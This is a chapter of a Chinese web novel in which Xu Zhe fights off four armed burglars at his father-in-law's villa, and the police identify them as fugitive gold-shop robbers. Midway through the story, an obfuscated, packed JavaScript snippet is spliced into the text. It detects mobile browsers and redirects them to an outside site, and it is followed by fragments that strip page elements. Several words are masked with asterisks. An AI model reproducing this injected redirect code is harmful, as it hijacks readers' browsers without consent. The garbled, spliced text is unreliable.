许哲拿了根棒球棍放床边,然后轻手轻脚地推了推老丈人。
“岳父,往里挪挪。”
年大海迷迷瞪瞪地哼唧一声,可眼皮实在沉重,只是含糊不清地嘟囔了一句。
“小哲……你大半夜来我这里干啥……”
不过,年大海还是往里缩了缩,给许哲让了点位置。
许哲也没解释,和衣而卧,牵起被子盖住自己。
他双眼在黑暗中熠熠生辉,死死盯着房门的方向,就等着那几个贼自投罗网。
时间一分一秒过去,屋内的空气仿佛凝固。
大约过了半小时,门锁处传来“咔哒”一声轻响。
极其细微,但在许哲耳朵里无异于惊雷。
紧接着,门缝被推开,一股带着寒意的冷风裹挟着外面枯草的味道灌了进来。
一道黑影鬼鬼祟祟地闪身入内。
年大海的呼噜声很有节奏,成了最好的掩护。
那黑影显然把这当成了不设防的金库,根本没往床上细看,蹑手蹑脚地直奔衣柜和床头柜,手里还拿着个黑布袋子,大概是想翻找现金和首饰。
年大海虽然有钱也不会乱花,但架不住许哲和年婉君时不时给买些值钱的小玩意儿送他。
因此,黑影手脚麻利地很快收拾出了一堆值钱的东西。
许哲借着年大海的呼噜声转头,屏住呼吸摸向棒球棍,全身蓄力,就像一张拉满的弓。
就在这时,楼下院子里突然传来一声暴喝,紧接着是重物撞击和金铁交鸣的闷响。
“操!这别墅有两个大老爷们,兄弟们弄死他们!”
是贼的怒吼。
屋内的黑影浑身一僵,显然没想到同伙这么快就暴露了,这要是被堵在屋里就是瓮中之鳖。
这人反应极快,转身就要往门外窜。
“既然来了,就别急着走啊!”
许哲猛地掀开被子,整个人如猎豹般从床上弹射而起,借着助跑的冲势,一记势大力沉的窝心脚狠狠踹在黑影的后背上。
砰!
“啊——”
黑影发出一声惨叫,整个人飞出去两米远,重重撞在墙壁上,又狼狈地摔在地板上。
但他显然是个练家子,或者说是个惯犯,顾
不得剧痛一个鲤鱼打挺就要爬起来。
他右手往后腰一摸寒光一闪竟是一把开了刃的**!
“老子弄死你!”
黑影面目狰狞挥舞着**就朝许哲扑来。
许哲不退反进顺手抄起棒球棍抡圆了胳膊照着对方的手臂就是狠狠一下。
“咔嚓!”
好像是骨头断了。
“啊啊啊……”
那黑影发出一声惨叫翻着白眼软绵绵地瘫倒在地手里的**也“当啷”一声掉落。
这巨大的动静彻底把年大海惊醒了。
“咋了?地震了?!”
老头猛地坐起来借着走廊透进来的光看见地上躺着个人顿时吓得魂飞魄散。
“许……许哲?这咋回事?这人是谁?”
许哲打开灯踢开脚边的**淡定说道:“没事进贼了。”
“岳父你去找绳子把他手脚捆上系死扣我出去看看!”
年大海这才回过神看着那把明晃晃的刀子
这要是许哲没在屋里自己这条老命刚才指不定就交代在梦里了。
他手忙脚乱地解下皮带一边骂骂咧咧一边把那个晕倒的倒霉蛋捆了个结结实实。
“敢偷到老子头上!不想活了!捆死你个王八蛋!”
确认屋里安全后许哲快步冲出房间来到楼下。
院子里的战斗已经结束。
雪地上洒着点点血迹显得触目惊心。
三个黑衣人横七竖八地躺在地上哀嚎不是断了胳膊就是断了腿。
山子和虎子毫发无伤气势如虹脚下死死踩着那三个暴徒。
旁边散落着三把半米长的**在路灯下闪烁着森冷的寒光。
“老板我们这边的三个抓住了看你那边就一个还这么快没动静我们就猜到你解决了!”
山子咧嘴一笑露出一口白牙对许哲的实力很有自信。
“嗯总共四个贼都绑了吧!”
许哲点点头。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16893847|179978||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
山子一边拿麻绳捆一边道:“老板这几个孙子下手黑招招奔着要命去的恐怕不是一般的小**贼。”
许哲看着那几把**
**偷窃带大**?
这哪里是求财,分明是******。
“管他们是贼还是啥,报警吧!”
这马上要大过年的,许哲可不想跟这些霄小纠缠。
听到是许哲这个中州的大名人报案,刺耳的警笛声很快划破了别墅区的宁静。
几辆警车呼啸而至,带队的刑侦大队长老张一进院子,看到地上被制服的四个人,眼珠子差点瞪出来。
他快步冲上前,一把揪住其中一个领头的脸看了看,激动得声音都变了调。
“好家伙!竟然是他们!这不是前几天那桩特大金店劫杀案的逃犯嘛!”
“哦?是他们?”
许哲也有些惊讶,他前两天跟**和安志远吃饭,**半路被叫走,可不就是因为这桩案件?
没想到这几个贼竟然撞到了他的手里,让巡捕局毫不费力的抓住了他们!
“是他们没错!这几张脸的赏金都十几万了,我绝不会记错!”
老张转过身,紧紧握住许哲的手,表情惊喜。
“许老板,你这可是立了大功啊!这四个畜生和其他同伙,前天杀了两个金店保安,抢了五斤黄金和三百万现金。”
“这四个逃得太快,我们布下天罗地网都没抓到,以为他们早跑出省去了,没想到居然还躲在中州,还想在年前干票大的!”
周围的几个巡捕也是一脸兴奋,这可是年底最大的业绩了。
本来还在发愁怎么交差,这下全是现成的功劳。
“许老板,真的太感谢了!这要是让他们得手跑了,后果不堪设想,您这不仅是保了自家平安,也是给中州除了一大害啊!”
许哲淡然一笑,“言重了,也是运气。”
“这几个家伙以为我是软柿子,没想到踢到了铁板,张队,人交给你们,我也就放心了。”
等到警车押着四个垂头丧气的悍匪离开,天边已经泛起了鱼肚白。